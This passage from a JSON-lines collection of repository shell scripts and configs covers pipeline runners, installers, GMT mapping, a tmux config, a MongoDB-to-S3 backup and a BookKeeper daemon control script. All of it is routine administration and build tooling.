/output/out.txt &\nta2_pid=$!\n\necho TA2 PID is $ta2_pid\n\n# Wait for TA2 server to start\nsleep 30\n\nmkdir -p /output/predictions\nmkdir -p /output/pipeline_runs\n\n# 2. Runs dummy_ta3 client to connect to TA2\npython3 -m dummy_ta3.dummy_ta3 -p /input/TRAIN/problem_TRAIN/problemDoc.json -d /input -e 127.0.0.1 -t $D3MTIMEOUT\n\n# 2.5 Stop TA2 system\nkill $(ps aux | grep ta2-server.py | grep python | awk '{print $2}')\n\n# 3. Generate prediction for each TA2 pipeline\necho \"Generating predictions\"\ncd /output/pipelines_ranked\nfor f in *.json; do\n output_file_name=${f%.*}\n echo \" -m d3m.runtime fit-produce -p $f -r /input/TRAIN/problem_TRAIN/problemDoc.json -i /input/TRAIN/dataset_TRAIN/datasetDoc.json -t /input/TEST/dataset_TEST/datasetDoc.json -o /output/predictions/${output_file_name}.csv\"\ndone | xargs -l1 -P5 python3 &> /dev/null\n\n# 4. Generate score for each prediction\necho \"Generating scores\"\n# bash /user_opt/dsbox/src/nist_eval_output_validation_scoring/scripts/score_output.sh\nbash /user_opt/dsbox/src/d3m-outputs/scripts/score_output.sh\nchmod -R go+rwX /output/*\n\necho \"Cleaning up\"\n/bin/rm -R /output/pipelines_fitted/*/*.pkl\n\necho \"Exiting\"\nkill $ta2_pid\nkill -9 $ta2_pid\n\nexit 0"} {"text": "ubuntu-openstack/bigdata-novalxd\n#!/bin/bash -e\n# Run very small terasort job\njuju action do resourcemanager/0 terasort size=10000"} {"text": "0\nruby .git/AWSDevTools/aws.elasticbeanstalk.push --environment lincolndouglasdebate"} {"text": "tucan9389/mobile-pose-estimation-for-TF2\n# python train.py \\\n# --dataset_config config/dataset/receipt5982-gpu.cfg \\\n# --experiment_config config/training/receipt-experiment04-cpm-sg5-gpu.cfg; \\\n# python train.py \\\n# --dataset_config config/dataset/receipt5982-gpu.cfg \\\n# --experiment_config config/training/receipt-experiment04-cpm-sg3-gpu.cfg; \\\n# python train.py \\\n# --dataset_config config/dataset/receipt5982-gpu.cfg \\\n# --experiment_config config/training/receipt-experiment04-cpm-sg2-gpu.cfg; \\\n# python train.py \\\n# --dataset_config config/dataset/receipt5982-gpu.cfg \\\n# --experiment_config config/training/receipt-experiment04-cpm-sg1-gpu.cfg; \\\n# python train.py \\\n# --dataset_config config/dataset/receipt5982-gpu.cfg \\\n# --experiment_config config/training/receipt-experiment04-hg-gpu.cfg; \npython train.py \\\n--dataset_config config/dataset/receipt5982-gpu.cfg \\\n--experiment_config config/training/receipt-experiment05-cpm-sg4-onlyupsampling_1-gpu.cfg; \\\npython train.py \\\n--dataset_config config/dataset/receipt5982-gpu.cfg \\\n--experiment_config config/training/receipt-experiment05-cpm-sg4-onlyupsampling_2-gpu.cfg; \\\npython train.py \\\n--dataset_config config/dataset/receipt5982-gpu.cfg \\\n--experiment_config config/training/receipt-experiment05-cpm-sg4-onlyupsampling_3-gpu.cfg; \\\npython train.py \\\n--dataset_config config/dataset/receipt5982-gpu.cfg \\\n--experiment_config config/training/receipt-experiment05-cpm-sg4-onlyupsampling_4-gpu.cfg; \\\npython train.py \\\n--dataset_config config/dataset/receipt5982-gpu.cfg \\\n--experiment_config config/training/receipt-experiment05-cpm-sg4-onlyupsampling_5-gpu.cfg; \\\npython train.py \\\n--dataset_config config/dataset/receipt5982-gpu.cfg \\\n--experiment_config config/training/receipt-experiment05-cpm-sg4-onlyupsampling_6-gpu.cfg;"} {"text": "src/main/resources/git/list-all-gh-projects.sh\n#!/bin/zsh\n# export all public remote git repositories from the given user to given file path with file name\necho 'Insert your github username:'\nread USER \necho 'Insert the file name to export the remote git repositories from the given user:'\nread TO_FILE\ncurl -s \"https://api.github.com/users/$USER/repos?per_page=1000\" | grep -o 'git@[^\"]*'| cut -d'/' -f2 > $TO_FILE"} {"text": "if [ \"$(uname)\" == \"Darwin\" ]; then\n PRE_RELEASE_DOWNLOAD_URL=\"https://github.com/redxiiikk/butler-cli/releases/download/prerelease/butler-darwin\"\nelif [ \"$(expr substr $(uname -s) 1 5)\" == \"Linux\" ]; then\n PRE_RELEASE_DOWNLOAD_URL=\"https://github.com/redxiiikk/butler-cli/releases/download/prerelease/butler-linux\"\nelif [ \"$(expr substr $(uname -s) 1 10)\" == \"MINGW32_NT\" ]; then\n echo \"not support windows!!!\"\n exit 1\nfi\n\nif [ ! -d \"$HOME/.butler/bin\" ]; then\n mkdir -p \"$HOME/.butler/bin\"\nfi\n\ncurl -L \"$PRE_RELEASE_DOWNLOAD_URL\" -o \"$HOME/.butler/bin/butler\"\nchmod u+x \"$HOME/.butler/bin/butler\"\n\nif [ -f \"$HOME/.zshrc\" ]; then\n SHELL_CONFIG_FILE=\"$HOME/.zshrc\"\nelif [ -f \"$HOME/.bashrc\" ]; then\n SHELL_CONFIG_FILE=\"$HOME/.bashrc\"\nelse\n ehco \"can't find shell config file!!!\"\n exit 1\nfi\n\nif [ \"$(cat $SHELL_CONFIG_FILE | grep 'PATH=\"$HOME/.butler/bin:$PATH\"' | wc -l)\" -lt 1 ]; then\n echo 'PATH=\"$HOME/.butler/bin:$PATH\"' >> \"$SHELL_CONFIG_FILE\"\n echo\n echo \"添加 shell 配置\"\nfi\n\necho\necho \"Installation is complete, Please run:\"\necho \" source $SHELL_CONFIG_FILE\""} {"text": "#!/bin/bash\n\n# Variables\nos_system=$(uname -o)\nkernel=$(uname -r)\nuptime=$(uptime | tr -s \" \" | cut -d \",\" -f 1)\nuptime=$(echo ${uptime})\n#shell=\"5.8\" # Run zsh --version\nshell=$(zsh --version | cut -d \" \" -f 2)\nresolution=$(xrandr 2> /dev/null | grep \"*\" | head -1 | tr -s \" \" | cut -d \" \" -f 2)\nuser_loaded=$(whoami)\nhome_user=\"${HOME}\"\ncpu_model=$(lscpu | grep \"Model name:\" | tr -s \" \" | cut -d \":\" -f 2)\ncpu_model=$(echo ${cpu_model})\nmem_total=$(lsmem | grep \"Total online memory:\" | tr -s \" \" | cut -d \":\" -f 2)\nmem_total=$(echo ${mem_total})\narch_system=$(uname -m)\nhostname=$(hostname)\nsession_type=\"${XDG_SESSION_TYPE}\"\n\necho -e \" \"\necho -e \"\\e[31m :. .: \\e[0m\"\necho -e \"\\e[31m .=: :=. \\e[0m\"\necho -e \"\\e[31m -+ =- \\e[0m \\e[33mOS: \\e[0m\\e[35m${os_system}\\e[0m\"\necho -e \"\\e[31m :# *- \\e[0m \\e[33mHost: \\e[0m\\e[35m${hostname}\\e[0m\"\necho -e \"\\e[31m @= :@ \\e[0m \\e[33mKernel: \\e[0m\\e[35m${kernel}\\e[0m\"\necho -e \"\\e[31m .@- :@:\\e[0m \\e[33mUptime: \\e[0m\\e[35m${uptime}\\e[0m\"\necho -e \"\\e[31m @* *@.\\e[0m \\e[33mShell: \\e[0m\\e[35mzsh ${shell}\\e[0m\"\necho -e \"\\e[31m #@* :=++: =@# \\e[0m \\e[33mResolution: \\e[0m\\e[35m${resolution}\\e[0m\"\necho -e \"\\e[31m #@#: *@# .#@% \\e[0m \\e[33mUser: \\e[0m\\e[35m${user_loaded}\\e[0m\"\necho -e \"\\e[31m =%@%=: *@* :=%@@+ \\e[0m \\e[33mHome: \\e[0m\\e[35m${home_user}\\e[0m\"\necho -e \"\\e[31m -#@@@@@@@@@@@%+ \\e[0m \\e[33mSession: \\e[0m\\e[35m${session_type}\\e[0m\"\necho -e \"\\e[31m .=+%@@+=-. \\e[0m \\e[33mArch: \\e[0m\\e[35m${arch_system}\\e[0m\"\necho -e \"\\e[31m *@# \\e[0m \\e[33mCPU: \\e[0m\\e[35m${cpu_model}\\e[0m\"\necho -e \"\\e[31m +@* \\e[0m \\e[33mMemory: \\e[0m\\e[35m${mem_total}\\e[0m\"\necho -e \"\\e[31m :@: \\e[0m\"\necho -e \"\\e[31m % \\e[0m\"\necho -e \"\\e[31m \\e[0m\"\necho -e \"\\e[32m # Welcome to terminal of ${user_loaded}\\e[0m\"\necho -e -n \"\\e[35m # Loading terminal / \\e[0m\"\necho \"\""} {"text": "#!/bin/bash\n\n# Copyright (c) 2007,2015,2016,2019 <> (www.jdhp.org)\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nRELATIVE_DIR=\"$(dirname \"$0\")\"\n\n# INSTALL IPTABLES SCRIPTS ####################################################\n\ncp ${RELATIVE_DIR}/iptables-scripts/iptables-*.sh /etc/\nchown root:root /etc/iptables-*.sh\nchmod 700 /etc/iptables-*.sh\n\n# INSTALL LAUNCH FILES (SYSV) #################################################\n\ncp ${RELATIVE_DIR}/init-scripts/systemd/iptables-rules.service /etc/systemd/system/\nchown root:root /etc/systemd/system/iptables-rules.service\nchmod 644 /etc/systemd/system/iptables-rules.service\n\n# LAUNCH IPTABLES SCRIPTS (SYSTEMD) ###########################################\n\nsystemctl enable iptables-rules.service\nsystemctl start iptables-rules.service\nsystemctl status iptables-rules.service"} {"text": "#!/bin/bash\n\n# download and install conda\nwget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh\nbash Miniconda3-latest-Linux-x86_64.sh # install in /nfs/code/miniconda3\nrm Miniconda3-latest-Linux-x86_64.sh\nconda update -n base -c defaults conda -y # update conda\n\n# create virtual environment and install required dependencies\nconda create -n 'torch_example' -y\nconda activate torch_example\nconda install pytorch torchvision -c pytorch -y\npip install --upgrade wandb\n# pip install --upgrade git+git://github.com/wandb/client.git # install latest development version of wandb\n\n# log in to W&B\nwandb login"} {"text": "0\n#!/bin/bash\nset -e\n\n#if [ \"$#\" -eq 0 ]; then\n# exec python manage.py --help\n#fi\n\nif [ \"$1\" = 'dj' ]; then\n shift\n exec python manage.py \"$@\"\nfi\n\nexec \"$@\""} {"text": "#!/bin/sh\n# Purpose: geoid of Rwanda\n# GMT modules: gmtset, gmtdefaults, grdcut, makecpt, grdimage, psscale, grdcontour, psbasemap, gmtlogo, psconvert\n\n# GMT set up\ngmt set FORMAT_GEO_MAP=dddF \\\n MAP_FRAME_PEN=dimgray \\\n MAP_FRAME_WIDTH=0.1c \\\n MAP_TITLE_OFFSET=1c \\\n MAP_ANNOT_OFFSET=0.1c \\\n MAP_TICK_PEN_PRIMARY=thinner,dimgray \\\n MAP_GRID_PEN_PRIMARY=thin,white \\\n MAP_GRID_PEN_SECONDARY=thinnest,white \\\n FONT_TITLE=12p,Palatino-Roman,black \\\n FONT_ANNOT_PRIMARY=7p,Helvetica,dimgray \\\n FONT_LABEL=7p,Helvetica,dimgray\n# Overwrite defaults of GMT\ngmtdefaults -D > .gmtdefaults\n\ngmt grdconvert s45e00/w001001.adf geoid_TZ.grd\ngdalinfo geoid_TZ.grd -stats\n# Minimum=-43.794, Maximum=47.399\n\n# Generate a color palette table from grid\ngmt makecpt -Cwysiwyg -T-20/0/1 > colors.cpt\n\n# Generate a file\nps=Geoid_RW.ps\ngmt grdimage geoid_TZ.grd -Cwysiwyg -R28.5/31/-3/-1 -JM6.5i -P -Xc -I+a15+ne0.75 -K > $ps\n\n# Add shorelines\ngmt grdcontour geoid_TZ.grd -R -J -C0.25 -A1+f9p,25,black -Wthinner,dimgray -O -K >> $ps\n\n# Add grid\ngmt psbasemap -R -J \\\n --MAP_FRAME_AXES=WEsN \\\n --FORMAT_GEO_MAP=ddd:mm:ssF \\\n -Bpxg1f0.5a0.25 -Bpyg1f0.5a0.25 -Bsxg1 -Bsyg1 \\\n --MAP_TITLE_OFFSET=0.8c \\\n --FONT_ANNOT_PRIMARY=7p,0,black \\\n --FONT_LABEL=7p,25,black \\\n --FONT_TITLE=13p,13,black \\\n -B+t\"Geoid gravitational model of Rwanda\" -O -K >> $ps\n \n# Add legend\ngmt psscale -Dg28.5/-3.2+w16.5c/0.15i+h+o0.3/0i+ml+e -R -J -Ccolors.cpt \\\n --FONT_LABEL=7p,Helvetica,black \\\n --FONT_ANNOT_PRIMARY=7p,Helvetica,black \\\n --FONT_TITLE=8p,Helvetica,black \\\n -Bg2f0.2a2+l\"Color scale wysiwyg: 20 well-separated RGB colors [C=RGB, -T0/40/1]\" \\\n -I0.2 -By+lm -O -K >> $ps\n\n# Add scale, directional rose\ngmt psbasemap -R -J \\\n --FONT=7p,0,black \\\n --FONT_ANNOT_PRIMARY=6p,0,black \\\n --MAP_TITLE_OFFSET=0.1c \\\n --MAP_ANNOT_OFFSET=0.1c \\\n -Lx14.5c/-2.4c+c50+w50k+l\"Mercator projection. Scale (km)\"+f \\\n -UBL/-10p/-70p -O -K >> $ps\n\n# Add coastlines, borders, rivers\ngmt pscoast -R -J -P -Ia/thinnest,blue -Na -N1/thickest,white -Wthinner -Df -O -K >> $ps\n\n# Texts\n# Lakes\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f10p,26,blue2+jLB >> $ps << EOF\n29.2 -1.95 Lake\n29.2 -2.05 Kivu\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f10p,26,blue2+jLB >> $ps << EOF\n30.32 -2.32 Lake\n30.32 -2.37 Rweru\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f10p,26,blue2+jLB >> $ps << EOF\n30.75 -1.81 Lake\n30.75 -1.86 Ihema\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f10p,26,blue2+jLB >> $ps << EOF\n30.31 -2.05 Lake\n30.31 -2.10 Mugesera\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f10p,26,blue2+jLB >> $ps << EOF\n30.4 -1.85 Lake Muhazi\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f10p,26,blue2+jLB >> $ps << EOF\n29.78 -1.45 Lake Burera\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f10p,26,blue2+jLB >> $ps << EOF\n29.74 -1.51 Lake Ruhondo\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f10p,26,blue2+jLB >> $ps << EOF\n30.0 -2.25 Lake\n29.9 -2.3 Cyohoha South\nEOF\n\n# countries\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f12p,0,black+jLB -Gwhite@60 >> $ps << EOF\n29.4 -1.1 U G A N D A\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f12p,0,black+jLB -Gwhite@60 >> $ps << EOF\n29.4 -2.9 B U R U N D I\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f12p,0,black+jLB -Gwhite@60 >> $ps << EOF\n30.55 -2.65 T A N Z A N I A\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f12p,0,black+jLB -Gwhite@60 >> $ps << EOF\n28.6 -1.6 C O N G O\n28.6 -1.7 (D.R.C.)\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+jTL+f14p,26,black+jLB >> $ps << EOF\n29.6 -2.2 R W A N D A\nEOF\n# Cities\ngmt pstext -R -J -N -O -K \\\n-F+f13p,0,black+jLB -Gwhite@60 >> $ps << EOF\n30.08 -1.90 Kigali\nEOF\ngmt psxy -R -J -Ss -W0.5p -Gred -O -K << EOF >> $ps\n30.06 -1.94 0.40c\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+f10p,0,black+jLB -Gwhite@60 >> $ps << EOF\n30.00 -1.5 Byumba\nEOF\ngmt psxy -R -J -Sc -W0.5p -Gyellow -O -K << EOF >> $ps\n30.06 -1.57 0.20c\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+f10p,0,black+jLB -Gwhite@60 >> $ps << EOF\n29.70 -2.30 Nyanza\nEOF\ngmt psxy -R -J -Sc -W0.5p -Gyellow -O -K << EOF >> $ps\n29.73 -2.35 0.20c\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+f10p,0,black+jLB -Gwhite@60 >> $ps << EOF\n30.44 -1.97 Rwamagana\nEOF\ngmt psxy -R -J -Sc -W0.5p -Gyellow -O -K << EOF >> $ps\n30.43 -1.95 0.20c\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+f10p,0,black+jLB -Gwhite@60 >> $ps << EOF\n29.70 -2.04 Muhanga\nEOF\ngmt psxy -R -J -Sc -W0.5p -Gyellow -O -K << EOF >> $ps\n29.75 -2.08 0.20c\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+f10p,0,black+jLB -Gwhite@60 >> $ps << EOF\n29.36 -2.03 Kibuye\nEOF\ngmt psxy -R -J -Sc -W0.5p -Gyellow -O -K << EOF >> $ps\n29.35 -2.06 0.20c\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+f10p,0,black+jLB -Gwhite@60 >> $ps << EOF\n29.70 -2.55 Butare\nEOF\ngmt psxy -R -J -Sc -W0.5p -Gyellow -O -K << EOF >> $ps\n29.75 -2.6 0.20c\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+f10p,0,black+jLB -Gwhite@60 >> $ps << EOF\n28.90 -2.46 Cyangugu\nEOF\ngmt psxy -R -J -Sc -W0.5p -Gyellow -O -K << EOF >> $ps\n28.89 -2.48 0.20c\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+f10p,0,black+jLB -Gwhite@60 >> $ps << EOF\n30.56 -2.10 Kibungo\nEOF\ngmt psxy -R -J -Sc -W0.5p -Gyellow -O -K << EOF >> $ps\n30.54 -2.15 0.20c\nEOF\ngmt pstext -R -J -N -O -K \\\n-F+f10p,0,black+jLB -Gwhite@60 >> $ps << EOF\n30.33 -1.31 Nyagatare\nEOF\ngmt psxy -R -J -Sc -W0.5p -Gyellow -O -K << EOF >> $ps\n30.32 -1.29 0.20c\nEOF\n\n# Add GMT logo\ngmt logo -Dx7.0/-3.0+o0.1i/0.1i+w2c -O -K >> $ps\n\n# Add subtitle\ngmt pstext -R0/10/0/15 -JX10/10 -X0.1c -Y8.0c -N -O \\\n -F+f10p,13,black+jLB >> $ps << EOF\n3.0 9.0 World geoid image EGM2008 vertical datum 2.5 min resolution\nEOF\n\n# Convert to image file using GhostScript\ngmt psconvert Geoid_RW.ps -A0.5c -E720 -Tj -Z"} {"text": "10-100\nls src/components | while read line; do\n ls src/components/$line | xargs -I% yarn generate $line % 'y'\ndone"} {"text": "# Inspired by: https://github.com/nicknisi/dotfiles/blob/master/tmux/tmux.conf.symlink\n\n# unbind default prefix and set it to Ctrl+a\nunbind C-b\nset -g prefix C-a\nbind C-a send-prefix\n\n# for nested tmux sessions\nbind-key a send-prefix\n\n# reload config file\nbind r source-file ~/.tmux.conf \\; display \"Config Reloaded!\"\n\n# quickly open a new window\nbind N new-window\n\n# split window and fix path for tmux 1.9\nbind | split-window -h -c \"#{pane_current_path}\"\nbind - split-window -v -c \"#{pane_current_path}\"\n\n# synchronize all panes in a window\nbind y setw synchronize-panes on\n\n# stop synchronizing all panes in a window\nbind Y setw synchronize-panes off\n\n# pane movement shortcuts\nbind h select-pane -L\nbind j select-pane -D\nbind k select-pane -U\nbind l select-pane -R\n\nbind -r C-h select-window -t :-\nbind -r C-l select-window -t :+\n\n# resize pane shortcuts\nbind -r H resize-pane -L 10\nbind -r J resize-pane -D 10\nbind -r K resize-pane -U 10\nbind -r L resize-pane -R 10\n\n# more settings to make copy-mode more vim-like\nbind Escape copy-mode\nunbind p\nbind p paste-buffer\nbind-key -t vi-copy v begin-selection\nbind-key -t vi-copy y copy-pipe \"pbcopy\"\nunbind -t vi-copy Enter\nbind-key -t vi-copy Enter copy-pipe \"pbcopy\"\n\n# make copy-mode more mouse-friendly\nbind-key -t vi-copy WheelUpPane scroll-up\nbind-key -t vi-copy WheelDownPane scroll-down\nbind-key -t vi-copy MouseDragEnd1Pane copy-pipe \"pbcopy\""} {"text": "#!/bin/sh\n# Localy used variables\nexport RACK_HOME=\"/app\"\nexport RACK_ENV=\"development\"\n# Prerequisites\napk -U add alpine-sdk openssl-dev ruby-dev openssl-dev\napk -U add ruby ruby-bundler ruby-io-console bash\necho 'gem: --no-document' > ~/.gemrc #http://stackoverflow.com/questions/1381725\ncd ${RACK_HOME} && \\\nbundle install --clean --jobs=4 && \\\ngem clean\n# # Mission completed\napk -U --purge del alpine-sdk openssl-dev ruby-dev openssl-dev\nrm -vrf /var/cache/apk/*\nrm -v $0"} {"text": "1-10\n#!/bin/bash\n\n#PBS -A OPEN-12-63\n#PBS -q qprod\n#PBS -N BTMZ_rdd\n#PBS -o BTMZ_rdd.out\n#PBS -e BTMZ_rdd.err\n#PBS -l select=1:ncpus=24:mpiprocs=2:ompthreads=12:accelerator=true\n#PBS -l x86_adapt=true\n#PBS -l walltime=01:00:00\n###############################################################################\n\nif [ \"$PBS_ENVIRONMENT\" == \"PBS_BATCH\" ]; then\n LOC=$PBS_O_WORKDIR\nelse\n LOC=$(pwd)\nfi\n\ncd $LOC/..\n\nTMPFILE=btmz_rdd.tmp\nrm -f $TMPFILE\n\nmodule purge\nsource readex_env/set_env_rdd.source\n\nworking_dir=$(pwd)\nexport LC_ALL=C\n\nRDD_t=0.0001 #1 ms\n#RDD_t=0.01 #10 ms\n#RDD_t=0.03 #30 ms\n#RDD_t=0.1 #100 ms\n#RDD_t=0.5 #500 ms\nRDD_p=phase\nRDD_c=0\nRDD_v=0\nRDD_w=0\n\nexport SCOREP_PROFILING_FORMAT=cube_tuple\n#export SCOREP_METRIC_PAPI=PAPI_TOT_INS,PAPI_L3_TCM\nexport SCOREP_EXPERIMENT_DIRECTORY=\"readex_dyn_detect\"\n\napp=bt-mz.C.2_rdd\nrm -rf readex_dyn_detect-*\nrm -f readex_config.xml\n\nmpirun $BIND_TO_SOCKETS ./bin/$app\n\nreadex-dyn-detect -t $RDD_t -p $RDD_p -c $RDD_c -v $RDD_v -w $RDD_w \"$SCOREP_EXPERIMENT_DIRECTORY/profile.cubex\"\n\necho \"RDD result = $?\"\n\necho \"run RDD done.\""} {"text": "doc/allwpilib_ni-libraries_tarball.sh\n#!/bin/bash\n\n# A script to generate a allwpilib_ni-libraries_bla.tar.gz file from a given\n# revision of allwpilib.\n\n# Example: ./doc/allwpilib_ni-libraries_tarball.sh \\\n# https://usfirst.collab.net/gerrit/allwpilib master\n\nset -e\nset -u\nset -o pipefail\n\nif [ $# -ne 2 ]; then\n echo \"Usage: $0 remote ref\" >&2\n exit 1\nfi\n\nREMOTE=\"$1\"\nREF=\"$2\"\n\ngit fetch \"${REMOTE}\" \"${REF}\"\n\ngit archive \\\n -o allwpilib_ni-libraries_$(git rev-parse --short FETCH_HEAD).tar.gz \\\n FETCH_HEAD ni-libraries"} {"text": "# variables\nBACKUPS_USER_PASSWORD=\nAWS_CREDENTIALS_PROFILE=abc\n\n\n# need to know where home is in order to find ~/.aws/credentials\nexport HOME=/root\n\nHOST=localhost\n\n# DB name\nDBNAME=stats\n\n# S3 bucket name\nBUCKET_WITH_PREFIX=stats.cool/backups\n\n# Current time\nTIME=`/bin/date +%Y-%m-%d-%T`\n\n# Backup directory\nDEST=/root/stats.cool-mongodb-backups/\n\n# Tar file of backup directory\nTAR=$DEST/$TIME.tgz\n\n# Create backup dir (-p to avoid warning if already exists)\nmkdir -p $DEST\n\n# Log\necho \"Backing up $HOST/$DBNAME to s3://$BUCKET_WITH_PREFIX/ at $TIME\";\n\n# Dump from mongodb host into backup directory\nmongodump -h $HOST -d $DBNAME -o $DEST --authenticationDatabase admin -u backups -p $BACKUPS_USER_PASSWORD\n\n# Create tar of backup directory\ntar czfv $TAR -C $DEST .\n\n# Upload tar to s3\n/usr/local/bin/aws --profile $AWS_CREDENTIALS_PROFILE s3 cp $TAR s3://$BUCKET_WITH_PREFIX/\n\n# Track the backup size in stats.cool\n#TAR_FILESIZE=$(stat -c%s \"$TAR\")\n#curl -d \"name=admin.backup&val=$TAR_FILESIZE\" https://stats.cool/api/v1/project/hrya18eqam/dataPoint\n\n# Remove tar file locally\nrm -f $TAR\n\n# Remove backup directory\nrm -rf $DEST\n\n# All done\necho \"Backup available at https://s3.amazonaws.com/$BUCKET_WITH_PREFIX/$TIME.tgz\""} {"text": "#!/usr/bin/env bash\n#\n#/**\n# * Licensed to the Apache Software Foundation (ASF) under one\n# * or more contributor license agreements. See the NOTICE file\n# * distributed with this work for additional information\n# * regarding copyright ownership. The ASF licenses this file\n# * to you under the Apache License, Version 2.0 (the\n# * \"License\"); you may not use this file except in compliance\n# * with the License. You may obtain a copy of the License at\n# *\n# * http://www.apache.org/licenses/LICENSE-2.0\n# *\n# * Unless required by applicable law or agreed to in writing, software\n# * distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n# */\n\nusage() {\n cat < \nwhere command is one of:\n bookie Run the bookie server\n autorecovery Run the AutoRecovery service daemon\n zookeeper Run the zookeeper server\n\nwhere argument is one of:\n -force (accepted only with stop command): Decides whether to stop the Bookie Server forcefully if not stopped by normal shutdown\nEOF\n}\n\nBINDIR=$(dirname \"$0\")\nBK_HOME=$(cd $BINDIR/..;pwd)\n\nif [ -f $BK_HOME/conf/bkenv.sh ]\nthen\n . $BK_HOME/conf/bkenv.sh\nfi\n\nBOOKIE_LOG_DIR=${BOOKIE_LOG_DIR:-\"$BK_HOME/logs\"}\n\nBOOKIE_ROOT_LOG_LEVEL=${BOOKIE_ROOT_LOG_LEVEL:-'INFO'}\nBOOKIE_ROOT_LOG_APPENDER=${BOOKIE_ROOT_LOG_APPENDER:-'ROLLINGFILE'}\n\nBOOKIE_STOP_TIMEOUT=${BOOKIE_STOP_TIMEOUT:-30}\n\nBOOKIE_PID_DIR=${BOOKIE_PID_DIR:-$BK_HOME/bin}\n\nif [ $# -lt 2 ]\nthen\n echo \"Error: no enough arguments provided.\"\n usage\n exit 1\nfi\n\nstartStop=$1\nshift\ncommand=$1\nshift\n\ncase $command in\n (zookeeper)\n echo \"doing $startStop $command ...\"\n ;;\n (bookie)\n echo \"doing $startStop $command ...\"\n ;;\n (autorecovery)\n echo \"doing $startStop $command ...\"\n ;;\n (standalone)\n echo \"doing $startStop $command ...\"\n ;;\n (*)\n echo \"Error: unknown service name $command\"\n usage\n exit 1\n ;;\nesac\n\nexport BOOKIE_LOG_DIR=$BOOKIE_LOG_DIR\nexport BOOKIE_ROOT_LOG_LEVEL=$BOOKIE_ROOT_LOG_LEVEL\nexport BOOKIE_ROOT_LOG_APPENDER=$BOOKIE_ROOT_LOG_APPENDER\nexport BOOKIE_LOG_FILE=bookkeeper-$command-$HOSTNAME.log\n\npid_file=\"${BOOKIE_PID_DIR}/bookkeeper-${command}.pid\"\nout=$BOOKIE_LOG_DIR/bookkeeper-$command-$HOSTNAME.out\nlogfile=$BOOKIE_LOG_DIR/$BOOKIE_LOG_FILE\n\nrotate_out_log ()\n{\n log=$1;\n num=5;\n if [ -n \"$2\" ]; then\n num=$2\n fi\n if [ -f \"$log\" ]; then # rotate logs\n while [ $num -gt 1 ]; do\n prev=$(expr $num - 1)\n [ -f \"$log.$prev\" ] && mv \"$log.$prev\" \"$log.$num\"\n num=$prev\n done\n mv \"$log\" \"$log.$num\";\n fi\n}\n\nmkdir -p \"$BOOKIE_LOG_DIR\"\n\ncase $startStop in\n (start)\n if [ -f $pid_file ]; then\n PREVIOUS_PID=$(cat $pid_file)\n if kill -0 $PREVIOUS_PID > /dev/null 2>&1; then\n echo $command running as process $PREVIOUS_PID. Stop it first.\n exit 1\n fi\n fi\n\n rotate_out_log $out\n echo starting $command, logging to $logfile\n bookkeeper=$BK_HOME/bin/bookkeeper\n nohup $bookkeeper $command \"$@\" > \"$out\" 2>&1 < /dev/null &\n echo $! > $pid_file\n sleep 1; head $out\n sleep 2;\n if ! kill -0 $! > /dev/null ; then\n exit 1\n fi\n ;;\n\n (stop)\n if [ -f $pid_file ]; then\n TARGET_PID=$(cat $pid_file)\n if kill -0 $TARGET_PID > /dev/null 2>&1; then\n echo stopping $command\n kill $TARGET_PID\n\n count=0\n location=$BOOKIE_LOG_DIR\n while kill -0 $TARGET_PID > /dev/null 2>&1;\n do\n echo \"Shutdown is in progress... Please wait...\"\n sleep 1\n count=$(expr $count + 1)\n\n if [ \"$count\" = \"$BOOKIE_STOP_TIMEOUT\" ]; then\n break\n fi\n done\n\n if [ \"$count\" != \"$BOOKIE_STOP_TIMEOUT\" ]; then\n echo \"Shutdown completed.\"\n fi\n\n if kill -0 $TARGET_PID > /dev/null 2>&1; then\n fileName=$location/$command.out\n $JAVA_HOME/bin/jstack $TARGET_PID > $fileName\n echo Thread dumps are taken for analysis at $fileName\n if [ \"$1\" == \"-force\" ]\n then\n echo forcefully stopping $command\n kill -9 $TARGET_PID >/dev/null 2>&1\n echo Successfully stopped the process\n else\n echo \"WARNNING : Bookie Server is not stopped completely.\"\n exit 1\n fi\n fi\n else\n echo no $command to stop\n fi\n rm $pid_file\n else\n echo no $command to stop\n fi\n ;;\n\n (*)\n usage\n echo $supportedargs\n 